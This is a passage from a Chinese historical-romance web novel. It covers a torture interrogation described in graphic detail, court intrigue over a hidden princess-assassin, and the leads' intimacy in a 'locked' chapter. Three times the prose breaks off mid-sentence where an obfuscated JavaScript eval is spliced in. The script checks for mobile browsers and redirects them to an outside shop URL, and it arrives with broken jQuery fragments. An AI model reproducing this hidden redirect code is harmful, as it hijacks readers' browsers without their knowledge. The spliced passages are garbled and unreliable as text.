苑无声把烙钳拿掉,那人半张脸的皮都被烫烂了。 “我知道你还等着煌山堂的人来救你。”苑无声把烙钳扔进火塘里,拍了拍手上的灰,“但你应该也知道,你已经复过命了,若无他事,他们短时间内不会再找你。你当然可以在这地牢里熬下去,我肯定得保你不死,但……” 苑无声拔出一把匕首,对准那人的一只眼睛。 那人的眼神没有丝毫波澜,甚至还含着一丝蔑视。 毫无征兆的,匕首猛地扎进那人的左眼! 痛嚎声响彻整个地牢,震得其他的牢房都不敢出声了。 苑无声转动匕首,一边转一边往外拔,诡异的水声在死寂的牢房中响起,直至刀刃全部退出来,混浊的不明液体顺着刀尖滴落在地上。 一只小小的蝎子从苑无声的袖子中爬出来,顺着爬到了那人血肉淋漓的左脸上。 那人感受到有东西在自己脸上爬,剩下的那只右眼拼命想去看,却看不完全。 苑无声温声道:“你看不见这是什么是吧?没事儿,无所谓,蜈蚣也好,蝎子也罢,甚至是什么壁虎蚂蚱,都有可能。你有很长时间去感受,因为它接下来会住在你的眼睛里……” “以你的脑浆为食,饿了就爬进去啃两口,吃饱了再爬出来,随便住在你身上什么地方,你们俩就在这地牢里做伴儿,也不孤单。” 说罢,苑无声还真的退后一步,转身便要出去。 那人突然大吼道:“我说——!我说………” 声音变调,混杂着绝望的哭腔。 苑无声退回来,把那只蝎子从他脸上取下来:“说罢。我让你死得痛快点。” “潞城……我只知道她要去……潞城……” 潞城县令府中,朱克听到这便着急打断:“苑大人仅凭这点就断定我女儿乃是煌山堂的人未免太草率了吧。” 苑无声在心中暗骂蠢货:“十日之前,在你们抄没通泰钱庄的前一晚,有一批存在钱庄里的货被趁夜偷偷运出了城,你可知道?” 朱克……当然不知道。 他听见通泰钱庄后的第一反应,还是自己的私兵,不敢贸然答话,努力维持着自己高深莫测的表情。 苑无声也在观察他,一看他这副样子就知道他什么都不知道! 一天到晚就盯着自己那点可怜的私兵!除了他自己,谁还在乎! 苑无声:“我现在告诉你,这批货全都是武器盔甲。朝廷早就盯上这批货了,因为它是反贼周令存下的。” “周令?后楚镇北侯家的人?”朱克惊道。 苑无声:“对。这批货是玄辰卫的另一伙人在盯,他们在追查幽夜司的下落。他们得到消息,幽夜司的人会护着这批货出城。果然,他们在城外拦下这批货时,和幽夜司的人交手” “拦下了吗?”朱克忙问。 苑无声阴狠地看着他:“没有。因为你的好女儿,她一刀斩杀了玄辰左卫的首领!提着他的头,朝周令邀功!” 朱克踉跄着后退一步:“这不可能!” 苑无声当时就潜伏在一处密林里,他被玄辰左卫的首领无影叫去支援,本不必出手,直到碧落从天而降,一刀便结果了无影,他再出手也无济于事了。 于是,他便一直潜伏着没动,直到周令去而复返,直到周令喊出那个名字——义华。 “那晚,我亲耳听到,周令喊那人叫义华!那是后楚亡国公主的封号。十年前我跟随使团出使后楚,曾见过这位公主一面。而你猜怎么着?”苑无声的眼神像一条毒舌,缓缓缠绕住朱克的脖子。 朱克强打精神与他对视。 苑无声:“我一路跟踪那人,回了潞城,最后,那人翻墙,从西北角,进了你的县令府!” 朱克:“呵!这也不能说明你所谓的义华公主便是我的女儿!可能只是贼人潜入了县令府!毕竟抄没通泰钱庄一事是我与齐山作为。” 苑无声狰狞一笑:“你大可以有一千种方法去否认。但我告诉你,我亲眼看见过她的脸,我可以确定,你那不知从哪儿冒出来的女儿就是义华公主,是朝廷通缉令上钦拿的要犯——煌山堂第一杀手碧落!” “待你那好女儿一回潞城,城中的玄辰卫就会一拥而上,到时候人证确凿,你窝藏钦犯的罪名,一样跑不掉!” 朱克背后被冷汗浸湿,他原以为尽在掌控的潞城局势,突然就变成了一潭浑水。 什么煌山堂,什么幽夜司,什么后楚公主,什么反贼周令,还有眼前这个不知道从哪冒出来的玄辰卫! 这群人究竟什么时候来的潞城! 原以为他的敌人只有齐山,可现在看来,齐山竟变成这潞城之内,他唯一能够摸清的势力。 眼前这人的话,让他有种被人蒙骗的震惊,但谁能保证,这不是朝廷分而化之的手段? 无论这个女儿是何身份,她都是自己和齐山联盟的纽带,可现在朝廷的人却告诉他,这个女儿的身份有假,是所谓的煌山堂的杀手。 可就算女儿真是那个杀手,就算他把这个杀手揪出来,于朝廷而言是抓捕了一个钦犯,可于他而言,又能得到什么? 他得到的,只有和齐山的联盟破裂,以及一个窝藏钦犯的罪名。 所以,谁又能说清楚,这究竟是不是朝廷对他和齐山分而化之的手段呢? 因此,就算这个女儿真的身份有异,此时也不是揭穿的时候。 至于从通泰钱庄运出的武器和盔甲,这或许本身就是齐山借幽夜司之手向周令示好,毕竟当时清点通泰钱庄库房的时候他也派人去了,若他在清点时就将这批武器盔甲昧下,自己自然无从察觉。 这老贼!拿着他抄没的货物借花献佛,背地里和周令也有牵扯! 而自己得了通泰钱庄那些无用的财货却还沾沾自喜,他指不定在背后怎么笑话自己呢! 可恨! 这样看来,眼前这玄辰卫可真不是个东西。 朝廷钦犯又如何? 这朝廷能不能撑到钦犯被抓都说不定,自己又何必为一个气数已尽的朝廷自断手臂? 一番思索下来,朱克彻底冷静了,看着苑无声的眼神变得漠然又敷衍:“大人请回吧。我知玄辰卫办案向来不讲证据,可你若想仅凭三言两语就将我女儿打成钦犯任你处置,”他一甩衣袖,背过身去,“也断无可能!” 说罢,朝外扬声道:“来人,送客!” 苑无声此时才真的动了肝火,眸色阴沉得要滴血。 他带到潞城的人不多,另一队玄辰左卫负责追踪黄泉,却在劫杀幽夜司的那天晚上就折损了大半,只剩下几个,现并入他手下的玄辰右卫里。 从那晚幽夜司和碧落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282749|197351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的战力就能看出,想凭这几个人抓住碧落和黄泉简直是痴人说梦!是以他本想以窝藏钦犯的罪名吓一吓朱克,让朱克配合他,诱捕碧落,或是让他用他手里的私兵打头阵,消耗碧落,自己则做黄雀,确保万无一失。 可如今,这老东西这个态度,显然是没被自己咋呼住。 在京城,从来没有人敢对玄辰卫这个态度,苑无声只想一刀捅死朱克,让这个忤逆自己的人立刻归西。 但……不行,还要靠这个人来对付碧落,且留他一命。 苑无声临走前狠狠刮了朱克一眼,撂下一句:“朱大人,好自为之吧!” 出了县令府,又下起雨来。 苑无声抬头,见这阴沉沉、湿漉漉的天,忽然想起那日他尾随碧落的新婚丈夫,也即齐山的孙子时的情形。 那身影他觉得有些熟悉,却又想不起来在哪里见过。 玄辰左卫是通过埋伏在周令身边的线人得知,幽夜司的人也在潞城。 那日他见碧落力挽狂澜,救下幽夜司的人,想来煌山堂和幽夜司已经达成合作。 那幽夜司埋伏在潞城里的人手……会是谁呢? 他直觉碧落的这个新婚丈夫很可疑,但只尾随了一次,那人就去港口了,这条线就被搁下了。 苑无声回到玄辰卫的临时落脚处,叫来玄辰左卫的人:“当时和你们头领联系的周令身边的那个线人,还能联系上吗?” 潞城以西,一百五十里处,颖城。 周令临时落脚在一家客栈内,周围人来人往,鱼龙混杂,很适合隐藏行踪。 烛光映亮了信上的字,周令一目十行地看完,将信放在烛火上燎了。 黄泉在信上说,已拿下潞城港,但港口受灾严重,灾民遍地,内港待修,让他尽快派人过去接手。 幽夜司的动作比他想象得要快一些,回头得问一下,当日行动的具体细节。 现在的幽夜司中,有几个人曾暗中向他投诚,他并未立刻准允,只让他们该干什么干什么,只偶尔向他们询问司中近况。 毕竟,黄泉一个就顶得上他们所有人,且还算听话,他没必要冒着惹怒黄泉的风险,只为收几个鸡肋的眼线。 门被推开,一个苍老的声音在屏风外响起:“臣屈辰时,求见主公。” 周令:“进来。” 一个头发花白的老头绕过屏风,走到周令身边,他脸上斑痕遍布,眼角和嘴角都下垂,看着便是一副不苟言笑的老学究模样。 此人是当年镇北侯帐下的第一谋士,镇北侯当年战死沙场,却用自己的亲卫将屈辰时护送回后方,送到自己的小儿子身边。 自此屈辰时便成了周令的心腹,他陪在少年周令的身边度过了那段最艰难的时期,情况有所好转后,他的身体却一日不如一日。 周令很信任他,却也不忍让这样一个年近七十的老头整日为自己殚精竭虑,加之他很享受这种大权独揽的感觉,并不喜欢身边有个声音对自己指指点点。 但面子还是要给的,见他进来,周令开门见山问道:“潞城港已下,现需一可靠之人去接手当地的事情,屈老觉得霍元如何?” 屈辰时未立刻回答,沉吟片刻,忽然问道:“那日煌山堂的人提醒主公,内奸一事,可有下文?” 提到此,周令的脸色变得有些冷:“在查,但还未见端倪。” 屈辰时:“那……依臣之见,暂时还是先别派霍将军去为妥。臣愿亲自替主公走一趟潞城港。” 周令惊讶,随即阻止道:“不可,港口刚受了灾,情况不明,且诸般事务一定十分繁重,我不放心您的身体。” 屈辰时的脸上难得露出一丝浅笑:“无碍。一把老骨头,养着也是活,去折腾也是活,您知道,臣是闲不住的。” 周令沉默盯着他看,终究还是松口了:“好,这是最后一次,日后得听我的,养着。” 屈辰时朝周令深揖一礼,无声地退出房间。 他步伐不紧不慢,行至走廊尽头自己的房间,推门进去,点上烛火,从怀中掏出一封秘函: 是玄辰卫苑无声的亲笔信。 20. 夫妻同床 暴雨过后,潞城港的天又变得大晴。 太阳炙烤着大地,阳光几乎要把人的皮肤晒裂。 可内港的堤坝上,依旧有一排排汉子冒着酷暑烈日,争分夺秒地运送砂石,埋头修缮堤坝。 这些人多都是港口仅剩下的灾民,经过两三日的修整,这些精壮渔家汉子身体逐渐恢复,对前来赈灾的齐将军的孙子也放下了防备。 当日这人将金豹当场诛杀,并护下了还没被金豹杀掉的半数妇孺的性命,让他们中许多人的妻儿老小得以存活。 之后又开仓放粮,分给他们每家每户些许粮食应急,并许诺只要他们肯继续修缮港口,不但每日管饭,还会发给他们粮食以抵工钱,直到内港修好,航线恢复,他们能够像以前一样,凭借着出力气给人搬货养活一家老小。 一开始大家都是不信的,甚至对修堤坝都有阴影,谁知道新来的这人是不是和金豹一样的狗官,说给的粮食不给,管饭也只让他们喝米汤。修堤坝是个力气活,再这样累下去,他们迟早会累死在坝子上。 但粮食很快就吃完了,渔民门无奈也只有再自投罗网地去修堤坝,至少自己能喝口米汤,不用再吃家里的粮食,便能多留些粮食给家中的老幼。 却不曾想,只要去肯坝子上干活的,每天不但自己能吃的饱饱的,还能领一点粮食回家,工钱按天发放,绝不拖欠,多劳多得。甚至有愿意晚上倒班去干活的,同样管饭发粮食! 这下渔民立刻爆发了极大的劳动热情,有些家中甚至女子也一同上阵,就为了多挣那一口粮食,让全家人多一分活过这个灾年的希望。 可人手还是太少了,就算粮食给的足够,人也不能没日没夜地干活。 有些渔民为了多得粮食强撑着不肯休息,直接在堤坝上中暑昏倒,又被人拖下去紧急施救一番才捡回一条命来。 这日傍晚,太阳西沉,温度稍稍降了下来。 碧落一个人去内港口找黄泉。 她已经连着几天没见黄泉了,这人不知抽了什么风,这几晚都宿在衙署里,白天也见不到他人。 问了无常才知道,黄泉白日里居然天天都去内港干活,修堤坝。 碧落搞不明白,他为什么要去,那么累,那么晒,多他一个不多,少他一个也不少,非要去受那罪做甚? 难道是为了身先士卒,在渔民里得一个好名声? 可将来留下来治理港口的又不是他,他们必定不会久留,难道是为周令赢一个好名声? 想到这,碧落的火蹭的一下就冒起来了。既气黄泉这个甘心为人做嫁衣的傻子,又气周令这个就会利用老实人的骗子! 来到内港后,碧落只远远望着,并不靠近。 黄泉正站在坝子上垒砂石,这是个费力气的活儿,比用独轮车运砂石累多了,须得一次次搬动沉重的砂石袋子,垒实了,对臂力和腰力都是考验。 碧落默默观察,发现黄泉没在装模作样,干得比别人还更快一点。 他光着膀子,汗水从肩背上滑落,像是从起伏的山岳间流淌过的溪流,最终没入紧实的腰腹间。每次用力,手臂上的肌肉隆起,腰腹紧绷,汗津津的身体被夕阳镀上一层光,整个人犹如一座极具美感的雕塑。 碧落就这么看着,看他不知疲倦地一遍又一遍地做着这些枯燥又狼狈的事,移不开眼睛。 看了好一阵,人群似是要歇息一下,汉子们便就地在坝子上坐下来,聊聊天,喝点水,眺望着霞光粼粼的海面和火烧云一般的夕阳。 黄泉坐在这群人中间,竟没有丝毫违和感,他一边用水囊喝水,一边和周围的人畅快说笑。 笑声顺着海风传出去老远,他的眼睛也和初见时那般明亮。 碧落又看了他几眼,便回去了,临走时喊来在附近粥棚子里忙活的阿青,让她告诉黄泉,晚上一定要回来吃饭,她等他。 夜幕降临,小院里,蛐蛐的叫声响得吵闹。 卧房里只有碧落和黄泉二人在外间吃饭,四道小菜,两荤两素,配着清爽解腻的凉面,黄泉吃得狼吞虎咽。 他白天干了一天的活儿,累了,也饿了。这几天为了方便,也是为了不让自己的一身臭汗熏着妻子,他一直住在府衙,吃的全是大锅饭,没滋没味的,只能填饱肚子。 今日妻子居然特地叫自己回家吃饭,还说她等他! 他开心极了!于是特地早早回来,沐浴洗漱一番,再美美和妻子一起共用晚膳。 黄泉正兀自沉醉在和妻子小小团聚的美好气氛中,忽然察觉对面没什么动静?妻子半天夹不了一筷子,似是没什么胃口。 不会是自己吃得太粗鲁,吓着妻子了吧? 黄泉自以为很不经意地抬头,偷看碧落,却正撞进碧落一瞬不移盯着他的那双美丽又威严的凤眼里。 “额……”黄泉被抓包,有些尴尬地放下碗筷,做错事一般四处乱瞟。 “怎么不吃了?”碧落问。 黄泉垂着狗狗眼,抬眸看了她一眼,试探道:“你怎么不吃啊?是不是我吃太多了?那……那我不吃了,你……你吃吧,哦不,我再让人给你做一份。” 说着,他健硕的身躯哗啦一声站起来,把桌子都撞了一下,便要往外走,叫人再准备些饭食。 碧落一把拽住他,命令道:“我不饿,你坐下。” 黄泉无法,只能拘谨地又坐回去:“你怎么了?为什么……生气?” 他直觉她是生气了,应该和自己有关,但又不知道为什么。 碧落看着他那么大一只,委委屈屈地缩着,心里的气怎么也生不起来了,脑海中全是他白天像只熊一样搬运砂石的身影,还有他畅快的笑。 她软下声音,平静问他:“你为什么要去堤坝上忙活?那么累,你可以不用去的。” 黄泉一听是这事儿,脑袋上无形的耳朵瞬间支棱起来,想着妻子原来是怕我累,她好爱我。也是,自己应该多陪陪她的,这是做夫君的责任。 “我不累。但以后我都会回来吃饭,回来住。”说完,黄泉眼睛亮晶晶地看着碧落,很满意自己的回答。 碧落心里叹了口气,这个呆子,她只能更直白地问他:“我是说,你既然知道我们在这里做的一切都是给周令做的,你为什么还要这么卖力,去港口干活,只为了给他挣个好名声,他到底许了你什么?让你这么卖命?” 黄泉呆愣在原地,完全没想到碧落想的是这个,赶忙否认道:“不是不是!我才不是给周令干的,他也没许我任何东西。” 碧落更奇怪了:“那你为什么要去?” 黄泉也很疑惑:“因为修堤坝缺人啊!渔民剩下得不多了,想要赶在雨季结束前修好内港,只能加班加点地干,否则到时候,没有船只来,他们的生活照样没有着落。能多一个人干,就能早一点修好。” 这下轮到碧落呆住了。 这是再正常不过的理由,她却从来没有想过。 她忽然意识到,隐藏在她内心深处的傲慢和自以为是。 她习惯了利益博弈,得失算计,她用这些东西去解释世间的一切,觉得所有的事情都可以以此去衡量,觉得救灾也是各方势力的又一次拉锯,却从未试着从渔民的角度去看待过这件事。 这里是他们的家,他们的家破了,最要紧的,是先把家修好,而不是谁来修。 庙堂之上待久了,她还留着父皇当年交给她的那颗为民之心吗? 当年的她,真的是一个合格的皇太女吗? 犹如晨钟暮鼓,敲得碧落脑中光明洞彻,也嗡嗡作响。 黄泉见她不说话,也不知她在想什么,只自顾自回忆道:“我老家在辽州,虽然不靠海,有一条河穿过,那条河叫宛河。” “宛河是一条并不宽阔的河,冬天冰封,但是夏天水量很大,河道不深,是以经常发洪水。可附近的村镇都靠着这条河过活,就算官府不组织,我们附近几个村子也经常自发地在夏汛来临前,去巩固堤坝,修缮河工。” 说道这,黄泉笑了起来:“那时候,我爹每天都要出去干活,宛河离我们家有点距离,中午不能回家来好好吃饭,从附近买婆子做的吃食又贵,只能啃干粮。我娘就会做好饭,让我给我爹送过去。” “每次给我爹送饭的时候,他都老开心了,在那一帮修堤坝的汉子中间可劲儿炫耀,别人说他臭显摆,他也不恼,反而会在那人前可劲儿夸我,夸我娘,说那人没媳妇儿疼。把人家气得跳脚要打他。” 他的声音低沉而温柔,仿佛将两人带回了那边一望无垠的黑土地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291231|197351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,带回道那片纯朴而安逸的村庄。没有战乱,没有逃亡,人们想要活着,只需要团结起来抵抗天灾,而不需要殚精竭虑、如履薄冰地避开人世间的魑魅魍魉。 碧落也被这回忆安抚了,拂去心头的懊悔和自责,在融融的烛光下,不舍地看着他。 “后来……就打起来了。”黄泉的回忆戛然而止,“到处都在杀人,所有人都在跑。爹娘……死在了乱军里。” 他将最痛苦的记忆草草盖过,好像那些都能随着他一声叹气而离他远去:“我对周令,有感激在,毕竟是他当年救下了我和黑白无常,但我现在在港口做的这些事,不是为了他。” “创立幽夜司,杀那些贪官恶吏,是因为我能为他们做这些。但现在金豹已死,这里不需要幽夜司再去杀人了,我能做的就变成修堤坝。所以我就去了。” 晚风拂过窗棂,带起一阵清脆的铃响声,兜兜转转涌进室内,吹起黄泉的衣袍,犹如一个轻柔的拥抱。 于这温柔的幽寂中,碧落认真道:“进可杀敌破阵,退可守土安民。你已经做得很好了。” 黄泉被夸得一愣,随即笑道:“那看来,你不生我气了。” 碧落也笑,黄泉几乎被那春花夜放般的笑容,晃了神。 “我没生你的气。是……是我自己的原因,我想得狭隘了。”碧落又睨了他一眼,叮嘱道:“我以为你被周令骗了,你防着他点,别傻乎乎的,港口的事情该问他要的好处,要问他要,别让他抢了你的,知道吗?” 黄泉不知想到了什么,没忍住,开怀地笑起来,直到碧落羞恼地瞪他,他才停下:“知道了,我全听夫人的。” 原来妻子是怕自己被周令坑骗了。 黄泉心想,谁坑谁还真说不准,若是周令知道他心心念念的义华公主已经和自己成亲了,怕不是要气晕过去! 现在自己只要看好眼前的妻子别被周令抢走了就行,其他随便周令想抢什么,拿走便是! 尽管想好一定要守好妻子别被周令抢回去,晚上睡觉时,黄泉还是只敢在外间的小塌上窝着。 碧落真是被这个木头脑袋气笑了! 她绕过屏风,见他那么大一只,蜷在小榻上,还知道给盖上小被子,而后仰头,一脸傻气的看着她:“怎么了?” 碧落磨了磨后槽牙,锐利的凤眼危险地眯起来,命令道:“起来。” 黄泉不知为何,但还是乖乖从床上站起来。 他松垮的睡袍披在身上,又开始露自己的胸肌腹肌了,两人之间只隔了一掌的距离,雄性的热气近距离熏蒸着她。 碧落朝屏风后示意:“去里面。” 黄泉惊讶,抱着被子往里走。 碧落:“把被子给我放下!” 黄泉乖乖把被子放回去,走到里间,里间不大,那张宽敞的床榻几乎就在他的脚边。 碧落:“上去。” 黄泉终于反应过来这是要做什么了! 他惊得都结巴了:“啊?这……什么……真、真的吗?” 碧落不耐烦地将他按在床上,抬手,将毫无防备的黄泉掀得骨碌碌滚进床里面,而后自己合衣,躺在了床靠外的一侧。 她屈起一指,弹灭了最后一盏烛灯,室内陷入一片黑暗。 黄泉面朝墙壁,心跳得厉害,感觉这简直像是自己做的一场春梦,虽然这梦还没开始。 她到底是什么意思啊啊啊! 我该怎么办? 完了,忘了复习小册子了! 怎么她也不提前通知一声啊! 黄泉僵着身体,脑中却乱得像要炸了。周围一片安静,他却觉得自己的心吵闹又喧嚣。 等了许久,黄泉才敢慢慢转过身来,他又一次看到了妻子的睡颜,和大婚那天晚上看到的一样,温柔得像一朵沉睡在水中的莲花, 他紧张地将手轻轻放在妻子凹下去的细腰上,谁知刚一触碰上,他的手就被碧落扣住,往她腰上一箍,压着不动了。 他听见她抱怨地嘟囔:“你怎么这么笨!笨死了!” 僵硬的身体瞬间松下来,而后又迅速蓄满力量,双臂激动地有些发抖,却毫不迟疑地将那柔软的躯体揽进怀里,像恶龙盘住宝物一样,上下齐手地用自己的身躯笼罩着她。 21. [锁] [此章节已锁] 碧落被他搂进怀里,后脑撞上一堵火热的墙。 灼热的鼻息喷洒在后颈,她从来没和别人靠那么近过,碧落只觉得自己整个后背都酥麻了。 她本能地防备,想要缩起来,可恶龙却收紧怀抱,让两人紧密无比得贴在一起,她逃不掉。 细密的吻从耳后蔓延过来,一开始只是小心翼翼地嗅探,直到他将高挺的鼻梁埋进她乌发揉乱的颈间,深吸着她身上的暖香。 直到这一刻,碧落才知道黄泉到底有多高,他几乎遮住所有的光,塞满了她的视线,让她只能看到他。 两人几乎唇齿相依,他却始终不愿意踏出最后一步。 碧落被他弄得气息混乱,胸膛不断起伏,她睁开双眸,就见他一双星眸祈求又渴望地盯着自己。 明明已经把主动权交给他了,这个笨蛋又在磨蹭什么! 黄泉不答,就这么抵着额头,一边又一边叫她的名字,叫得卑微又缠绵,急切又浓稠。 忽然明白了这家伙在确认什么,碧落气得扬气头,一口咬在他唇上,又气喘吁吁地躺回去,用气音骂他:“笨死了……你还要我怎样。” 不用了,什么都不用了,这下黄泉什么都明白了。 湿润的双唇交融在一起,不再是浅尝辄止,不再是一触即离,而是胶着在一起。 汹涌的爱意犹如倾泻的雨幕,瞬间吞没了两人。 翌日清晨,黄泉早早醒了。 昨晚折腾到半夜,他竟丝毫不觉得疲惫,反而精神得很。天不亮就醒来,睁眼就看见熟睡的妻子就躺在自己身边,幸福而又满足,继而又盯着碧落看。 看她纤长浓密的睫毛昨晚上被泪水打湿了,现在还有一些湿润地粘在一起。 看她濡湿的红唇,嗯,自己刚醒来时又偷亲了一会儿。 看她瓷白的肩颈落满红痕,都是昨夜自己吮咬出来的,她还喊疼来着。 想着想着,他的呼吸又变得粗重起来,眸色也变深变暗,乌沉沉地盯着眼前的人。 睡梦中的碧落似又所感,皱了皱眉,极疲倦似的,往被子里缩了缩,又转身面向床里了。 黄泉的绮思被打断,脱离了昨晚那种湿热而难分难舍的气氛,他是不敢打扰还在睡梦中的妻子的。 最终,他只是轻轻在妻子的发间印下一吻,便轻手轻脚地下床了。 窗外,一轮朝阳升起,暴雨过后,又是个大晴天。 今日也要去坝子上干活儿,但晚上他还要回来睡! 毕竟,妻子可在家等着他呢! 待他走后,碧落疲倦地睁开眼睛。 她也醒了,多年的习惯让她不会睡得太久,黄泉醒的时候,她就感觉到了,自然也感觉到了他盯着自己的灼热视线和越来越急促的呼吸。 不能再来了,她真的怕了他了! 昨夜自己直接累昏了过去,想想她都觉有些丢脸,怎么能昏过去呢。 可如今知道了黄泉的体力,碧落真的不敢让他在早晨再来一次了。现在她已经觉得浑身酸疼了,再让他来一次,自己怕是真的要在床上歇上一整天。 故意装睡也是为了把他糊弄过去,昨晚两人做了这世间最亲密之事,今日醒来肯定免不了一番温存。 可碧落竟不知该用何种态度去面对这件事,她学过帝王心术,她学过临土治民,学过合纵连横,学过伪装算计,却从未学过如何将自己几乎要满溢出来的心悦表达给对方。 夫妻间自然而然便会的、发自内心的体贴温存,她从未尝试过。 碧落躺在床上,运气吐息,放松着全身酸疼的肌肉,漫无目的地想着。 昨晚听黄泉提起他父母的事,似乎他爹很喜欢她娘送饭,或许……黄泉也喜欢吧。 碧落又睡了一阵,醒来时,外面太阳高照。 她吩咐厨房准备饭食,又命下人找来食盒,准备中午亲自给黄泉送一顿饭。 阿青这几日都在外面忙碌,换了个心细手巧的丫鬟贴身服侍碧落。 这丫鬟正是每次都会狠狠脑补老爷夫人的幸福生活的大黄丫鬟。 今日她替夫人梳发时,看见了夫人颈项间的点点红痕,瞬间又激动了,但还是体贴地询问道:“夫人,可要奴婢用些东西遮一遮?” 碧落顺着她的提示,一下子就从铜镜中看见了这些痕迹,脸不自觉红了,在心中气道,下次再不让黄泉这个狗嘴乱咬了! 碧落道:“换件交领吧,剩下的你再帮我遮一遮。” 大黄丫鬟强抑心中的喜意,满足又熟练地为夫人盘发,又试探问道:“今日夫人让厨房准备食盒,是要去给老爷送饭吗?” 碧落:“是。怎么了?” 大黄丫鬟:“那让奴婢陪您一起去吧,帮您拎东西。” 见碧落从铜镜里笑看她,她又低头补充道:“奴婢……奴婢也想出去走走。” 碧落看着脸上藏不住事的傻丫头,笑道:“好,那就你陪我去。” 正午时分,一天当中日头最烈的时候。 昨晚上刚下过雨,水汽被蒸腾在空气中,又湿又闷。 修缮内港的渔民在这日头下也歇了工,准备吃午饭,避过这毒辣的日头。 黄泉精神奕奕地和一群渔民说笑着往粥棚走,就见府上丫鬟来找自己:“老爷,夫人来给您送饭了,您今日去后面的那间屋子里吃吧。” 众人一静,纷纷朝黄泉望去。 黄泉也呆住了,他从来没想过,碧落会来给他送饭,毕竟…… 毕竟,她可是公主,毕竟,她应该从来不会干送饭这种活,毕竟,她应该只是有一点喜欢自己…… 可那股喷涌而出的喜意就像是周围瞬间爆发的起哄,热烈又突然地砸在他头上,他飘飘忽忽地被人推了几下肩膀,渔民们起哄让他快走,别让媳妇儿久等。 “大人快去吧!夫人说不定早就来了,这会儿该等急了!” “就是就是,回来跟我们说夫人给你做了些什么好吃的!” “真羡慕大人啊,夫人可太贤惠了!” 渔民们跟没有架子又干活十分卖力的小大人已经很熟悉了,并且希望这样的好官能一直留在港口,永远不要走才好。 此时听说大人的夫人居然亲自来给大人送饭,纷纷变着花地恭维他,直白地话语被翻来覆去地说,直击到黄泉的心坎上。 时隔多年,黄泉又想起父亲当年在堤坝上爽朗又快活的大笑,他终于和父亲有了一样的感受,那种被人记挂着,惦念着的沉甸甸的感觉。 他不记得自己是怎么走到那间屋子门口的,推开门前,他紧张得又开始患得患失起来,妻子会不会等不及已经走了?她还在屋子里吗? “磨蹭什么,还不赶紧进来。”碧落的声音从屋子里传出来。 她早就听见他的脚步声了,却停在了门口,死活不进来,不知道又在发什么疯。 黄泉吱呀一声推开门,就见碧落在食案后坐着,面前摆着一个精致又大的食盒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300069|197351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 碧落朝食盒扬了扬下巴:“快吃吧,天气热,不能久搁。” 黄泉坐在对面,忽然意识到自己没穿上衣,一身的汗,他怕碧落嫌弃自己,遂道:“谢谢,谢谢你给我送饭,你……要不你先回去吧,这里没有冰,怪热的。” 碧落笑了一声:“怎么?不想看到我,赶我走啊?” “没有!”黄泉忙否认,“没有不想见你,我很想见你,一整个上午都在想,现在也想。” 说完,他又用那种浓稠又渴求的目光盯着碧落看,目光烫得碧落的脸发热。 他也不吃饭,就这么盯着她看,仿佛看她就能看饱了似的。 碧落抬眸,红着脸瞪他一眼,随即在他没注意时,快速倾身,在他唇边轻啄一下,便又坐回去。 不料她刚撤身,黄泉就撑着食案,饿狼一般猛追过来,一口含住让他魂牵梦绕的双唇,重重吮吸起来,安静的室内甚至响起一声突兀的嘬响。 碧落被他隔着食案压着吻,还弄出那么大声,不同于昨晚的昏黄暧昧,此时屋中很亮,她十分清楚地感知到他动情的含吮,胶着又不舍,唇舌长驱直入,甚至发出滋滋作响的声音。 她不怕亲,却被这过于直白地水声弄红了脸,单手撑在他浸着汗的胸膛上,推开他,看着撤开时他还是那副沉醉在亲吻中的迷糊样,轻斥道:“你身上有汗,不许亲了。” 黄泉这才连连不舍地退回来,侵略的目光却依旧留在她的唇瓣上:“你吃吗?” 碧落:“我吃过了,不吃了。” 黄泉遂打开食盒,开始吃饭。他吃两口就抬头看一眼碧落,也不说话,意思却很明显,秀色可餐。 碧落觉得不能再这样下去,这人简直要疯,于是特地捡了个扫兴的话题:“周令那边派谁来接管港口,和你说了吗?什么时候来?” 听见“周令”两个字,黄泉果然恢复了正常,眉间还隐隐有些郁气:“说了,他准备派霍元过来,应该就在这两天到。” 碧落:“嗯,那我就不用避着,霍元跟周令晚,不认识我。” 黄泉听罢,只想碧落先回潞城去,省得被周令的人看见,横生事端,他现在只想把她藏起来,谁都不给看。 两人用完了午膳,一同出门,就见幽夜司的人来报,说周令的人来了,已经用小船把人接回来了。 黄泉闻言,眉目一凛,冷声问:“怎么没提前跟我说,你们这么快把人接回来,那人应该上午就到了吧?” 碧落也扫了眼面前站着的这人,复又移开视线,什么也没说。 那人道:“我……我当时只想着先把人接回来,忘了跟您说。” 黄泉没管他,带着碧落绕过他,往外走去。 “你先回去吧,有事晚上回去再说。”黄泉朝碧落道。 碧落颔首。 不料,两人刚走到岔路口,迎面就撞见了幽夜司的人带着过来的屈辰时。 